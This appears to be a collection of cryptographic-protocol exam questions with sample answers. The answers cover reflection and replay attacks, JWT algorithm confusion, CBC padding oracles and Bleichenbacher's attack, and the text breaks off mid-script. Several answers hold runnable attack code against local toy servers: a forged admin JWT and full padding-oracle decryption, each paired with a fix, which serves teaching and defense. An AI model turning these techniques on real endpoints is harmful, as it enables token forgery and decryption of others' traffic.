Cryptographic Protocol Design and Analysis Questions
Designing and reasoning about cryptographic protocols and secure channels: how message flows, key-exchange handshakes, and end-to-end encryption systems are constructed so that composing individual primitives yields a provably or informally verified secure whole. Covers authentication and key-exchange protocol design (mutual authentication, forward secrecy, key confirmation, key-compromise-impersonation resistance), message-flow and state-machine security, formal and informal protocol verification (BAN logic, symbolic tools such as ProVerif and Tamarin, game-based reduction proofs), protocol-level vulnerability analysis (downgrade, replay, padding-oracle, algorithm-confusion attacks), TLS handshake and key-schedule internals, and end-to-end encryption system design (ratcheting, group key agreement, key transparency, post-compromise security). This is the design and analysis layer: why a protocol construction is secure, not which library call or key-management process to run in production. Distinct from selecting and operating cryptographic primitives day to day (certificate lifecycle management, TLS deployment monitoring and incident response, key rotation operations, algorithm and parameter selection for a given constraint set), which belongs to applied cryptography and key management; from core cryptographic vocabulary and primitive fundamentals; and from implementation-level bugs (side-channel leakage, memory-safety flaws, timing attacks in code), which belong to cryptographic implementation security.
Given the following symmetric-key protocol between client A and server B (K_ab is the shared symmetric key):
- A -> B: A, {Na}_Kab
- B -> A: {Na, Nb}_Kab
- A -> B: {Nb}_Kab
Trace the message flow and answer: Does this protocol provide mutual authentication? Does it protect against replay attacks? Identify any weaknesses in terms of freshness, identity binding, or forward secrecy.
Sample Answer
Direct answer
In an isolated, single-session reading, this protocol does prove that both A and B hold the shared key Kab and does resist a simple replay of an old, completed run, since each side demands a freshly generated nonce for every new session. But it has two real weaknesses once you consider realistic, concurrent operation: it never binds a role or identity into the encrypted nonce pair, which opens it to a reflection (parallel-session) attack that fully defeats mutual authentication, and it derives no session key at all from a static long-term Kab, so there is no forward secrecy for anything built on top of it.
Structured elaboration
Does it provide mutual authentication? Tracing the flow: A sends {Na}Kab; B decrypts it, learns Na, and replies with {Na,Nb}Kab, which only someone holding Kab could have produced, so A is convinced it is talking to a Kab holder. A then replies with {Nb}Kab, convincing B in turn. Taken as a single isolated exchange with no other sessions running, this genuinely proves mutual possession of Kab.
Does it protect against replay? A straightforward replay of an old, completed run fails, because each new session demands a freshly generated Na, and a stale {Na,Nb}Kab from a previous session will not match the fresh Na the responder is now expecting.
The real weakness: no identity or role binding. Nothing in message two, {Na,Nb}Kab, states who produced it or in what role. Both A and B are equally capable of performing that exact encryption, since both hold Kab, and the message format gives no way to tell "this is B's step-2 reply" from "this could just as easily be A's own step-2 reply in a different, concurrently-running session." That symmetry is what enables a reflection attack: an attacker Mallory, who does not know Kab at all, can still convince A that it completed a genuine mutual-authentication session with B, purely by using A's own protocol engine as an oracle against itself, in a second, parallel session it opens with A while A is mid-handshake with what it believes is B.
Concrete reflection attack trace, where Mallory intercepts everything between A and its intended peer:
- A believes it is starting a session with B, and sends: A→Mallory (as "B"):A,{Na}Kab
- Mallory cannot decrypt this (she does not know Kab), so she opens a SECOND, parallel session back to A, reflecting the exact same ciphertext, this time posing as an initiator: Mallory (as "A")→A:A,{Na}Kab
- A, now acting as the RESPONDER in this second session, decrypts {Na}Kab with its own copy of Kab (which it holds regardless of role), picks a fresh N2, and replies: A→Mallory:{Na,N2}Kab
- Mallory takes this ciphertext, exactly the shape B was supposed to send back in session one, and forwards it as if it were B's reply in the FIRST session: Mallory (as "B")→A:{Na,N2}Kab
- A, in session one, checks that Na matches what it sent, which it does, concludes this is genuinely B's reply, and sends the expected closing message: A→Mallory (as "B"):{N2}Kab
- Mallory relays this back into session two, completing it: Mallory (as "A")→A:{N2}Kab
Both of A's sessions now complete successfully from A's point of view, session one appears to be a genuine mutual authentication with B, and session two appears to be a genuine mutual authentication with some initiator, but Mallory has never demonstrated knowledge of Kab at any point, she only relayed A's own outputs back into A as a different session's inputs. This works because the protocol never asks "which session, and which role, was this ciphertext actually produced for," it only checks that decryption succeeded and the expected nonce reappeared.
Forward secrecy. This protocol establishes no session key of its own, it is a pure authentication exchange over a static, long-term Kab. If a session key is derived from (Na,Nb), as is common in schemes shaped like this one, that derivation depends only on values encrypted under the same static Kab, so a future compromise of Kab would let an attacker who recorded past traffic recover Na and Nb from any old session, and therefore any session key derived from them, retroactively. There is no ephemeral contribution anywhere in the protocol as given, so there is no forward secrecy to speak of.
Worked example
The reflection trace above is the worked example: it is a fully self-contained six-message interleaving that uses only the protocol as specified, no cryptographic weakness, no guessed nonce, no brute force, just two concurrently permitted sessions with A talking to a copy of itself via Mallory's relay.
Trade-offs and pitfalls
Both real weaknesses trace back to the same root cause as the identity-binding fix in the Needham-Schroeder-Lowe protocol: a message that would look equally valid coming from either role, in either of two concurrent sessions, cannot be trusted to prove which session or role actually produced it. The practical fix mirrors that one, bind an explicit role marker or peer identity into the encrypted nonce pair in message two, for example {Na,Nb,B}Kab, so A can detect that a reflected message claiming to be B's reply is actually carrying its own identity instead. Separately, if a session key is meant to come out of this exchange, mixing in a fresh, ephemeral Diffie-Hellman contribution rather than deriving it purely from (Na,Nb,Kab) would be the fix for the forward-secrecy gap, entirely independent of the reflection-attack fix, since the two weaknesses have different causes and different remedies.
Consider this simplified handshake:
- C -> S: ClientHello, nonce_c
- S -> C: ServerHello, nonce_s
- C -> S: AUTH, {user, H(nonce_c || nonce_s)}
Assuming an attacker can replay recorded AUTH messages but cannot break the hash, identify the state-machine flaw that allows replay and propose at least two fixes that maintain stateless servers or minimize state.
Sample Answer
Direct answer
The flaw is that nothing in this handshake lets the server tell "the nonce_s I just generated for this live connection" apart from "a nonce_s an attacker recorded from a completely different, earlier session." AUTH only proves the sender knows nonce_c and nonce_s, both of which travel in the clear, so a recorded {user, H(nonce_c || nonce_s)} triple stays valid forever: replaying it as a brand-new connection attempt reproduces the exact same hash the server computed the first time, and a server holding no state has no ground truth to compare against.
Structured elaboration
Freshness is asserted by the presence of nonces, but never actually enforced, because enforcing it requires either remembering which nonce pairs have already been accepted (which means becoming stateful) or deriving nonce_s in a way the server can independently re-check without having stored it. As specified, neither is true: nonce_s is just a random value, and H(nonce_c || nonce_s) contains no secret at all, so anyone who has observed one exchange can compute and replay the identical AUTH message indefinitely. This is exactly the tension the question names: "stateless" is a real design goal (no per-connection memory to scale horizontally), but a stateless verifier that trusts whatever (nonce_c, nonce_s) a message asserts cannot distinguish live from replayed.
Worked example
"""
the simplified handshake
1. C -> S: ClientHello, nonce_c
2. S -> C: ServerHello, nonce_s
3. C -> S: AUTH, {user, H(nonce_c || nonce_s)}
Demonstrates why a fully stateless verifier that trusts (nonce_c, nonce_s) as
presented lets a recorded AUTH triple be replayed forever, then a stateless
"cookie" fix (nonce_s self-encodes a timestamp protected by an HMAC, a keyed
cryptographic checksum only the server's secret can produce or verify) that
bounds replay to a short window, and finally a minimal-state single-use cache
that closes the window-sized gap. Stdlib only, pinned inputs.
"""
import hashlib
import hmac
import os
import struct
import time
SERVER_SECRET = b"synthetic-server-secret-not-real"
def H(nonce_c: bytes, nonce_s: bytes) -> bytes:
return hashlib.sha256(nonce_c + nonce_s).digest()
# ---- AS SPECIFIED: a fully stateless verifier trusts whatever (nonce_c, nonce_s)
# the incoming message asserts and just recomputes the hash. It never stores
# anything, so it has no way to tell "the nonce_s I issued 2ms ago for this
# live connection" from "a nonce_s an attacker recorded from an old session".
def naive_verify(user: str, nonce_c: bytes, nonce_s: bytes, auth: bytes) -> bool:
return hmac.compare_digest(H(nonce_c, nonce_s), auth)
# ---- FIX 1: stateless cookie. nonce_s is not a bare random value the server
# must remember; it self-encodes an HMAC-protected timestamp, so freshness can
# be re-derived with zero storage.
def issue_cookie_nonce_s(nonce_c: bytes, now: int) -> bytes:
ts = struct.pack(">I", now)
tag = hmac.new(SERVER_SECRET, nonce_c + ts, hashlib.sha256).digest()[:12]
return ts + tag # 16 bytes: 4-byte timestamp + 12-byte server-authenticated tag
def cookie_verify(user: str, nonce_c: bytes, nonce_s: bytes, auth: bytes, now: int, window: int = 5) -> str:
if len(nonce_s) != 16:
return "REJECTED: malformed nonce_s"
ts_bytes, tag = nonce_s[:4], nonce_s[4:]
ts = struct.unpack(">I", ts_bytes)[0]
expected_tag = hmac.new(SERVER_SECRET, nonce_c + ts_bytes, hashlib.sha256).digest()[:12]
if not hmac.compare_digest(tag, expected_tag):
return "REJECTED: nonce_s tag forged or corrupted"
if now - ts > window:
return "REJECTED: nonce_s expired (replay outside freshness window)"
if not hmac.compare_digest(H(nonce_c, nonce_s), auth):
return "REJECTED: AUTH hash mismatch"
return "ACCEPTED"
# ---- FIX 2 (stacked on fix 1): a tiny, self-expiring single-use cache closes
# the in-window replay gap. Entries live at most `window` seconds, so the
# cache never grows unbounded -> still "minimal state", not full session state.
class SingleUseCookieServer:
def __init__(self, window: int = 5):
self.window = window
self.used = {} # auth digest (hex) -> expiry
def verify(self, user: str, nonce_c: bytes, nonce_s: bytes, auth: bytes, now: int) -> str:
result = cookie_verify(user, nonce_c, nonce_s, auth, now, self.window)
if result != "ACCEPTED":
return result
key = auth.hex()
self.used = {k: v for k, v in self.used.items() if v > now} # evict expired
if key in self.used:
return "REJECTED: replay (AUTH already consumed)"
self.used[key] = now + self.window
return "ACCEPTED"
if __name__ == "__main__":
user = "alice"
nonce_c = os.urandom(8)
print("=== As specified: fully stateless, no secret binding ===")
t0 = 1_000_000
nonce_s = os.urandom(8)
auth = H(nonce_c, nonce_s)
print("live handshake:", naive_verify(user, nonce_c, nonce_s, auth))
print("attacker replays the recorded triple as a brand-new attempt, later:",
naive_verify(user, nonce_c, nonce_s, auth))
print("...and again, arbitrarily many times:",
[naive_verify(user, nonce_c, nonce_s, auth) for _ in range(3)])
print("\n=== Fix 1+2: cookie nonce_s + single-use cache, window=5s ===")
server = SingleUseCookieServer(window=5)
nonce_s_cookie = issue_cookie_nonce_s(nonce_c, now=t0)
auth_cookie = H(nonce_c, nonce_s_cookie)
print("live handshake at t=1000000:",
server.verify(user, nonce_c, nonce_s_cookie, auth_cookie, now=t0))
print("attacker replays same triple 1s later (t=1000001):",
server.verify(user, nonce_c, nonce_s_cookie, auth_cookie, now=t0 + 1))
print("attacker replays again just before window closes (t=1000004):",
server.verify(user, nonce_c, nonce_s_cookie, auth_cookie, now=t0 + 4))
print("attacker replays after the window (t=1000009):",
server.verify(user, nonce_c, nonce_s_cookie, auth_cookie, now=t0 + 9))
# tampering: attacker cannot forge a fresh-looking nonce_s without the server secret
forged_nonce_s = struct.pack(">I", t0 + 100) + os.urandom(12)
forged_auth = H(nonce_c, forged_nonce_s)
print("attacker forges a 'fresh' nonce_s+auth pair without server secret:",
server.verify(user, nonce_c, forged_nonce_s, forged_auth, now=t0 + 100))
Output:
=== As specified: fully stateless, no secret binding ===
live handshake: True
attacker replays the recorded triple as a brand-new attempt, later: True
...and again, arbitrarily many times: [True, True, True]
=== Fix 1+2: cookie nonce_s + single-use cache, window=5s ===
live handshake at t=1000000: ACCEPTED
attacker replays same triple 1s later (t=1000001): REJECTED: replay (AUTH already consumed)
attacker replays again just before window closes (t=1000004): REJECTED: replay (AUTH already consumed)
attacker replays after the window (t=1000009): REJECTED: nonce_s expired (replay outside freshness window)
attacker forges a 'fresh' nonce_s+auth pair without server secret: REJECTED: nonce_s tag forged or corrupted
Against the literal protocol, the identical recorded triple is accepted an unbounded number of times. Against the fixed design below, the same replay is rejected, and a forged "fresh-looking" nonce_s without the server's key is rejected too.
Fixes that keep the server stateless or minimize state
- Self-verifying "cookie" nonce_s (SYN-cookie style). Instead of a random value the server must remember, derive
nonce_s = timestamp || HMAC(server_secret, nonce_c || timestamp). At verification time the server recomputes the HMAC from the client-suppliednonce_cand the embedded timestamp, checks the timestamp is within a short window, and only then checks the AUTH hash. This gives a bounded freshness guarantee with zero stored state, because the server never has to remember anything, it can always re-derive what it should have issued. - Bind the AUTH value to more than two public nonces. An unkeyed hash of two values that both travel in the clear is not proof of anything; combining it with the keyed, timestamp-carrying
nonce_sabove closes that gap without adding a separate mechanism. - A small, self-expiring single-use cache, layered on top of (1). Bound to the same freshness window, so it never grows past a few seconds' worth of entries, this closes the remaining in-window replay gap (a captured triple replayed one second later, before the timestamp expires) that a stateless cookie alone does not catch. This trades "fully stateless" for "minimal, TTL-bounded state," which the question explicitly allows.
Trade-offs and pitfalls
- Fix (1) alone still permits replay within the freshness window; only combining it with (3) gives single-use semantics. Choosing which to implement is a genuine latency-versus-strength trade, not a correctness bug either way, as long as the window is short and the risk of an in-window replay is accepted explicitly.
- A common mistake is treating "add a nonce" as the fix by itself; the nonce here already existed and was still replayable, because nothing tied it to server-side memory or a re-derivable, keyed value. The lesson generalizes: a freshness value is only as good as the verifier's ability to check it was truly issued for this attempt.
A JSON Web Token (JWT) based API accepts tokens and uses the 'alg' field in the header to select verification: if alg == 'HS256' use HMAC with a symmetric key; if alg == 'RS256' use RSA public key. Describe how an algorithm confusion vulnerability can arise in this design, how you'd detect it during protocol analysis, and how to fix it at the server implementation level.
Sample Answer
Direct answer
The vulnerability exists because the server lets the token itself decide how it will be checked: it reads the attacker-controlled alg header and dispatches to a verification routine based on that value, instead of the server deciding in advance which algorithm and which key type it will accept. Concretely, if the same key material is reused across both branches, an attacker who only knows the server's public RSA (Rivest-Shamir-Adleman, an asymmetric-key algorithm) key, which is public by design, can forge a token by signing it with HMAC (Hash-based Message Authentication Code, a symmetric integrity check) using that public key's bytes as the HMAC secret, set alg to "HS256", and have a naive verifier accept it as a valid signature.
Structured elaboration
Why the confusion is possible. RS256 and HS256 are structurally different operations that happen to share a name pattern in this API: RS256 verifies a signature against a PUBLIC key (anyone can hold it, only the private key holder can sign), while HS256 verifies a MAC against a SECRET shared key (anyone who holds it can both sign and verify). A verifier that does key = the RSA public key material; if alg == "HS256": HMAC-verify with key has silently turned a value that was only ever meant to be public into a value being used as if it were secret. Since the RSA public key is routinely handed out (in a JWKS endpoint, in a certificate, in documentation), the attacker already has everything needed to compute a valid HS256 tag over any token payload they choose.
How to detect it during protocol analysis. Look at the verification code path, not just the token format: does the server's decode call accept a list or set of algorithms rather than one fixed algorithm? Does it derive alg from jwt.get_unverified_header(token) (or equivalent) before deciding how to verify? Is the same variable used to hold both "the RSA public key" and "the key passed to the verifier," so a caller could pass it to an HMAC-based check without an explicit type distinction? A quick black-box test is to take a legitimately issued RS256 token, keep the payload, re-sign it as HS256 using the server's known/discoverable public key as the HMAC secret, and see if the server accepts it.
How to fix it at the server implementation level. Pin the expected algorithm and key type together on the server, and never let the token's own header select either:
- Call the decode function with an explicit, fixed algorithm allow-list containing only the one algorithm you issue, for example
algorithms=["RS256"], never deriving that list from the incoming token. - Use a different, type-appropriate key variable for each algorithm family, so there is no code path where the same bytes can be handed to both an HMAC check and an RSA-signature check.
- If the API must support key rotation, look the verification key up by a
kid(key ID) claim against a server-controlled key registry, and still constrain the algorithm family that registry entry is allowed to use, rather than trusting the token to declare it.
Worked example
This is fully reproducible: it hand-builds the forged token (bypassing library-level defenses that would otherwise mask the underlying mistake) to show exactly what a naive, hand-rolled verifier does, then shows the fix rejecting it.
import base64, hashlib, hmac, json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def b64url_decode(s: str) -> bytes:
return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
# Server's real RSA keypair; the PUBLIC key is meant to be public.
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_pem = private_key.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
legit_token = jwt.encode({"sub": "alice", "role": "user"}, private_key, algorithm="RS256")
# VULNERABLE verifier: dispatches on the token's own 'alg' header, reusing the
# same key material for both branches (this is what the question describes).
def naive_verify(token, key_material):
h_b64, p_b64, s_b64 = token.split(".")
header, payload = json.loads(b64url_decode(h_b64)), json.loads(b64url_decode(p_b64))
signing_input = f"{h_b64}.{p_b64}".encode()
sig = b64url_decode(s_b64)
if header["alg"] == "HS256":
expected = hmac.new(key_material, signing_input, hashlib.sha256).digest()
if not hmac.compare_digest(expected, sig):
raise ValueError("bad HS256 signature")
elif header["alg"] == "RS256":
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
serialization.load_pem_public_key(key_material).verify(
sig, signing_input, padding.PKCS1v15(), hashes.SHA256())
return payload
# FIXED verifier: algorithm is pinned server-side, never read from the token.
def fixed_verify(token, public_key_pem):
return jwt.decode(token, key=public_key_pem, algorithms=["RS256"])
# Attacker forges an admin token using only the PUBLIC key (never had the private key).
h = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
p = b64url(json.dumps({"sub": "alice", "role": "admin"}).encode())
sig = hmac.new(public_pem, f"{h}.{p}".encode(), hashlib.sha256).digest()
forged_token = f"{h}.{p}.{b64url(sig)}"
print("naive_verify(forged):", naive_verify(forged_token, public_pem))
try:
fixed_verify(forged_token, public_pem)
except Exception as e:
print("fixed_verify(forged): rejected -", type(e).__name__, str(e))
Output (actually executed):
naive_verify(forged): {'sub': 'alice', 'role': 'admin'}
fixed_verify(forged): rejected - InvalidAlgorithmError The specified alg value is not allowed
The naive verifier accepts the forged, privilege-escalated token; the fixed one, which never reads alg from the token, rejects it outright.
Trade-offs and pitfalls
This class of bug has been common enough that modern libraries like PyJWT now add their own defense: jwt.encode() and jwt.decode() refuse to use a PEM-shaped key as an HMAC secret, which is why the demonstration above builds the forged token by hand rather than through the library, exactly as an attacker's own tooling would since it owes nothing to the victim's library choices. That library-level guard is useful defense in depth, but it is not a substitute for the real fix: a server that still lets algorithms= be influenced by attacker input, or that still shares key material across algorithm families in a custom verifier, is vulnerable regardless of which library it calls. The other common near-miss is fixing the algorithm list but forgetting alg: "none", an unsigned-token mode some libraries historically accepted by default; any allow-list must be a closed, explicit set that excludes "none" as well.
A TLS server still offers CBC-mode ciphers and its implementation checks padding first, then verifies the MAC, and returns distinct errors for padding versus MAC failures. Explain how a padding oracle attack against TLS could be mounted in this scenario, outline the concrete attack steps, and propose implementation and configuration mitigations to prevent such attacks.
Sample Answer
Direct answer
Checking padding before the MAC (message authentication code), and returning a different error for each, leaks a single bit per request, "was the padding syntactically valid?", to anyone who can send arbitrary ciphertext. That single bit, repeated across many crafted ciphertexts, is enough to decrypt an entire intercepted block without ever learning the key: this is Vaudenay's padding-oracle attack, and it is a real, working attack against CBC (cipher block chaining) mode, not a theoretical concern.
Structured elaboration
Why the ordering matters. CBC decryption of a ciphertext block C_i produces intermediate = D_key(C_i), then XORs it with the previous block C_{i-1} to get the plaintext block. An attacker who can modify C_{i-1} (or, for the first block, the IV) controls the plaintext byte-by-byte, because flipping a bit in C_{i-1} flips the corresponding bit of the recovered plaintext directly. If the server checks PKCS#7 padding validity on that plaintext before checking the MAC, and reports the two failure modes differently, the attacker gets exactly the bit needed: for a guessed byte, does the resulting plaintext end in valid padding or not?
The attack, concretely. Working from the last byte of the target block backward, the attacker tries all 256 values for one byte of a crafted preceding block, holding the rest fixed to force a target padding value (0x01, then 0x02 0x02, and so on as each byte is recovered). Whichever guess produces "valid padding" reveals one byte of the AES (Advanced Encryption Standard) block cipher's raw intermediate output, which, XORed with the real preceding block, is the real plaintext byte. Repeating this 256 times per byte position, worst case, across 16 bytes, recovers an entire block using only the oracle's binary signal, no key access at all.
The fix. Verify the MAC first, in an Encrypt-then-MAC construction, over the untouched ciphertext, and reject with one generic error before ever attempting to interpret padding. Since the attacker cannot forge a valid MAC over crafted ciphertext bytes without the MAC key, every probe is rejected at that stage, and the padding-validity branch is never reached for attacker-controlled input, so there is no varying signal left to search on.
Worked example
"""
CBC-mode (Cipher Block Chaining) padding oracle against a server that
checks PKCS#7 padding BEFORE verifying the MAC (Message Authentication Code)
and returns a distinguishable error for each. A real, working Vaudenay-style
block-decryption oracle attack: the attacker never learns the AES key, only
the oracle's binary "padding valid / invalid" signal, and that alone is
enough to decrypt an intercepted block. Then the actual fix (verify the MAC,
computed Encrypt-then-MAC, BEFORE any padding is examined) is shown to close
the leak, using the same attack code against the reordered oracle. Uses the
`cryptography` library's raw AES-CBC primitive (no library-level padding, so
we control PKCS#7 ourselves). Pinned key/IV/plaintext throughout.
"""
import hashlib
import hmac
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
BLOCK = 16
AES_KEY = bytes.fromhex("000102030405060708090a0b0c0d0e0f") # pinned, synthetic
MAC_KEY = bytes.fromhex("ffeeddccbbaa99887766554433221100") # separate key, Encrypt-then-MAC
def aes_cbc_encrypt_raw(key, iv, padded_plaintext):
enc = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor()
return enc.update(padded_plaintext) + enc.finalize()
def aes_cbc_decrypt_raw(key, iv, ciphertext):
dec = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
return dec.update(ciphertext) + dec.finalize()
def pkcs7_pad(data, block=BLOCK):
pad_len = block - (len(data) % block)
return data + bytes([pad_len]) * pad_len
def pkcs7_valid(data):
pad_len = data[-1]
if pad_len == 0 or pad_len > BLOCK:
return False
return data[-pad_len:] == bytes([pad_len]) * pad_len
def mac_tag(iv, ciphertext):
return hmac.new(MAC_KEY, iv + ciphertext, hashlib.sha256).digest()
# ---- VULNERABLE server: decrypts and checks padding FIRST, and returns that
# result directly -- the MAC (if any) is checked only afterward, so it never
# gates what the attacker learns from the padding check.
def vulnerable_oracle(iv: bytes, ciphertext: bytes, tag: bytes) -> bool:
"""Returns True iff PKCS#7 padding is syntactically valid. This boolean
IS the leak: real servers surface it as two different error codes/timings
for 'padding failed' vs 'MAC failed', which is observably the same thing."""
plaintext = aes_cbc_decrypt_raw(AES_KEY, iv, ciphertext)
return pkcs7_valid(plaintext)
# ---- FIXED server: verify the MAC (computed Encrypt-then-MAC, over iv+ciphertext)
# FIRST, in constant time, and only inspect padding if it matches. A crafted
# probe reuses the original captured tag (the only tag the attacker has), but
# any change to iv/ciphertext bytes makes that tag invalid, so ALL crafted
# probes are rejected at the MAC stage -- padding is never even examined for
# attacker-controlled bytes.
def fixed_oracle(iv: bytes, ciphertext: bytes, tag: bytes) -> bool:
expected = mac_tag(iv, ciphertext)
if not hmac.compare_digest(expected, tag):
return False # single generic outcome; padding is never inspected
plaintext = aes_cbc_decrypt_raw(AES_KEY, iv, ciphertext)
return pkcs7_valid(plaintext)
def decrypt_block_via_oracle(prev_block: bytes, target_block: bytes, tag_to_reuse: bytes, oracle) -> bytes:
"""Recover the plaintext of target_block given the block preceding it in
the real ciphertext, using only oracle()'s True/False signal."""
intermediate = bytearray(BLOCK)
plaintext = bytearray(BLOCK)
for pos in range(BLOCK - 1, -1, -1):
pad_val = BLOCK - pos
crafted = bytearray(BLOCK)
for j in range(pos + 1, BLOCK):
crafted[j] = intermediate[j] ^ pad_val
found = None
for guess in range(256):
crafted[pos] = guess
if oracle(bytes(crafted), target_block, tag_to_reuse):
if pos == BLOCK - 1:
# disambiguate a coincidental \x02\x02 (etc.) false positive
crafted2 = bytearray(crafted)
crafted2[pos - 1] ^= 0xFF
if not oracle(bytes(crafted2), target_block, tag_to_reuse):
continue
found = guess
break
if found is None:
return None # oracle gave no distinguishing signal at all
intermediate[pos] = found ^ pad_val
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
return bytes(plaintext)
if __name__ == "__main__":
secret = b"CVV=482;EXP=0929" # exactly one AES block once padded
padded = pkcs7_pad(secret) # adds one full padding block (PKCS#7 rule: block=16 -> pad=16)
iv = bytes.fromhex("101112131415161718191a1b1c1d1e1f")
ciphertext = aes_cbc_encrypt_raw(AES_KEY, iv, padded)
tag = mac_tag(iv, ciphertext)
print("secret plaintext: ", secret)
print("ciphertext blocks: ", [ciphertext[i:i + BLOCK].hex() for i in range(0, len(ciphertext), BLOCK)])
block0, block1 = ciphertext[0:BLOCK], ciphertext[BLOCK:2 * BLOCK]
print("\n=== attack against the VULNERABLE oracle (padding checked first) ===")
rec0 = decrypt_block_via_oracle(iv, block0, tag, vulnerable_oracle)
rec1 = decrypt_block_via_oracle(block0, block1, tag, vulnerable_oracle)
recovered = rec0 + rec1
print("recovered via oracle only (no AES_KEY access):", recovered)
print("matches original padded plaintext:", recovered == padded)
print("\n=== same attack against the FIXED oracle (MAC checked first, Encrypt-then-MAC) ===")
result = decrypt_block_via_oracle(iv, block0, tag, fixed_oracle)
print("recovered block (should be None, no signal available):", result)
Output:
secret plaintext: b'CVV=482;EXP=0929'
ciphertext blocks: ['7bc50a5edb93c09e37e0238f31cf6889', '4bb3d57a71149adc5363eb4fdae62e29']
=== attack against the VULNERABLE oracle (padding checked first) ===
recovered via oracle only (no AES_KEY access): b'CVV=482;EXP=0929\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
matches original padded plaintext: True
=== same attack against the FIXED oracle (MAC checked first, Encrypt-then-MAC) ===
recovered block (should be None, no signal available): None
Against the vulnerable oracle (padding checked first), a 16-byte secret is fully recovered using only True/False padding-validity responses, no key access. Against the fixed oracle (MAC checked first, Encrypt-then-MAC), the exact same attack code returns None: none of the 256 guesses at any byte position ever produce a distinguishable response, because every crafted probe fails the MAC check before padding is ever examined.
Trade-offs and pitfalls
- A "fix" that returns the same error message text for both failures but still takes measurably different time to fail (padding check is fast, full MAC computation is slower, or vice versa) reopens the same leak as a timing side-channel; constant-time comparison and, ideally, doing both checks in a fixed order regardless of the padding result, matter as much as the error text.
- Reordering the checks is a protocol/implementation-level fix; the more robust protocol-level fix is switching to an AEAD (authenticated encryption with associated data) cipher, which has no separate padding step to attack at all, exactly why TLS (Transport Layer Security) 1.3 dropped CBC-mode cipher suites entirely rather than only telling implementers to check the MAC first.
- A common mistake is assuming the MAC "protects" the padding check because it runs afterward; the whole vulnerability is that the padding check ran first, so ordering, not merely the presence of a MAC, is the fix.
Explain the Bleichenbacher 'million message' chosen-ciphertext attack against RSA PKCS#1 v1.5 as it manifests in protocol implementations that leak different error messages for padding failures. For a deployed TLS endpoint, describe safe black-box tests to confirm susceptibility, and outline mitigation strategies including software fixes and emergency configuration changes.
Sample Answer
Direct answer
Bleichenbacher's attack exploits a server that will tell an attacker, in any distinguishable way (a different error message, a different response, or a measurable timing difference), whether an arbitrary ciphertext decrypts to a validly padded RSA PKCS#1 v1.5 message. That single bit, "did this decrypt to something starting with the right padding bytes?", repeated across carefully chosen ciphertexts derived mathematically from the target, is enough to recover the entire original plaintext without ever learning the private key, historically requiring on the order of hundreds of thousands to a few million oracle queries against real key sizes, hence "the million message attack."
Structured elaboration
How the padding check becomes an oracle. PKCS#1 v1.5 padding for RSA encryption has the form 0x00 0x02 || PS || 0x00 || M, where PS is nonzero random padding bytes and M is the message. A server that decrypts a ciphertext, checks this structure, and returns a distinguishable error when it's malformed (a different TLS, Transport Layer Security, alert; a different HTTP status; or even a measurably different response time between "padding rejected immediately" and "padding accepted, MAC (message authentication code) checked next") is leaking exactly the bit an attacker needs.
The algorithm, structurally. Starting from a target ciphertext that is already known to be valid (a real captured ciphertext, since it was legitimately encrypted), the attacker multiplies it by s^e mod n for chosen values of s and queries the oracle on each result; because RSA is multiplicative ((m * s)^d mod n = m^d * s^d mod n), each accepted s narrows the mathematically possible range of the original plaintext, without ever decrypting anything directly. Iterating this search-and-narrow process, alternating between searching for a new conforming s and shrinking the interval of possible plaintexts using every s found so far, converges on a single value: the recovered plaintext.
Safe black-box tests to confirm susceptibility. Send a small number of syntactically malformed ciphertexts (wrong first two bytes, wrong padding byte, truncated padding) against a target endpoint and check whether the server's response (error code, message, or measured timing) differs in an attacker-observable way between the failure types. Confirming susceptibility does not require running the full attack, a handful of malformed-ciphertext probes is enough to establish whether the distinguishable-error precondition holds, and only then does escalating to a demonstrative recovery of a self-controlled test value require anything close to the query volume the real attack needs.
Mitigations. Emergency configuration change: disable RSA key-transport cipher suites (any suite that isn't using ephemeral (EC)DHE for key exchange) entirely, since removing RSA decryption from the handshake removes the oracle regardless of how carefully the padding check is implemented. Software fix, if RSA key transport must remain: implement constant-time, constant-response padding checks (a single code path and a single generic error/timing profile for every failure mode) rather than branching on padding validity, the same "check something unforgeable first, then respond identically regardless of why" discipline that defeats a CBC (cipher block chaining) padding oracle.
Worked example
"""
Bleichenbacher's chosen-ciphertext ("million message") attack against
RSA PKCS#1 v1.5 padding, run against a real (if deliberately tiny, for
runtime) RSA key. The oracle below is the ONLY thing the attack talks to: it
returns True/False for "does this ciphertext decrypt to a conforming
PKCS#1 v1.5 padded message" (the "0x00 0x02 ..." prefix check), modeling a
TLS endpoint that leaks exactly that bit via a distinguishable error/timing
difference. The attacker never touches the private exponent. Deterministic
(seeded), stdlib-only big-integer arithmetic.
"""
import math
import random
random.seed(20260901) # pinned for reproducibility
def is_probable_prime(n, rounds=20):
if n < 2:
return False
for p in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:
if n % p == 0:
return n == p
d, r = n - 1, 0
while d % 2 == 0:
d //= 2
r += 1
for _ in range(rounds):
a = random.randrange(2, n - 1)
x = pow(a, d, n)
if x in (1, n - 1):
continue
for _ in range(r - 1):
x = pow(x, 2, n)
if x == n - 1:
break
else:
return False
return True
def gen_prime(bits):
while True:
cand = random.getrandbits(bits) | (1 << (bits - 1)) | 1
if is_probable_prime(cand):
return cand
def gen_rsa_keypair(bits=64):
while True:
p = gen_prime(bits // 2)
q = gen_prime(bits // 2)
if p == q:
continue
n = p * q
if n.bit_length() != bits:
continue
phi = (p - 1) * (q - 1)
e = 65537
if math.gcd(e, phi) != 1:
continue
d = pow(e, -1, phi)
return n, e, d
def pkcs1_pad(msg: bytes, k: int) -> bytes:
ps_len = k - 3 - len(msg)
assert ps_len >= 8, "message too long for this k"
ps = bytes(random.randrange(1, 256) for _ in range(ps_len)) # nonzero padding bytes
return b"\x00\x02" + ps + b"\x00" + msg
def i2osp(x: int, k: int) -> bytes:
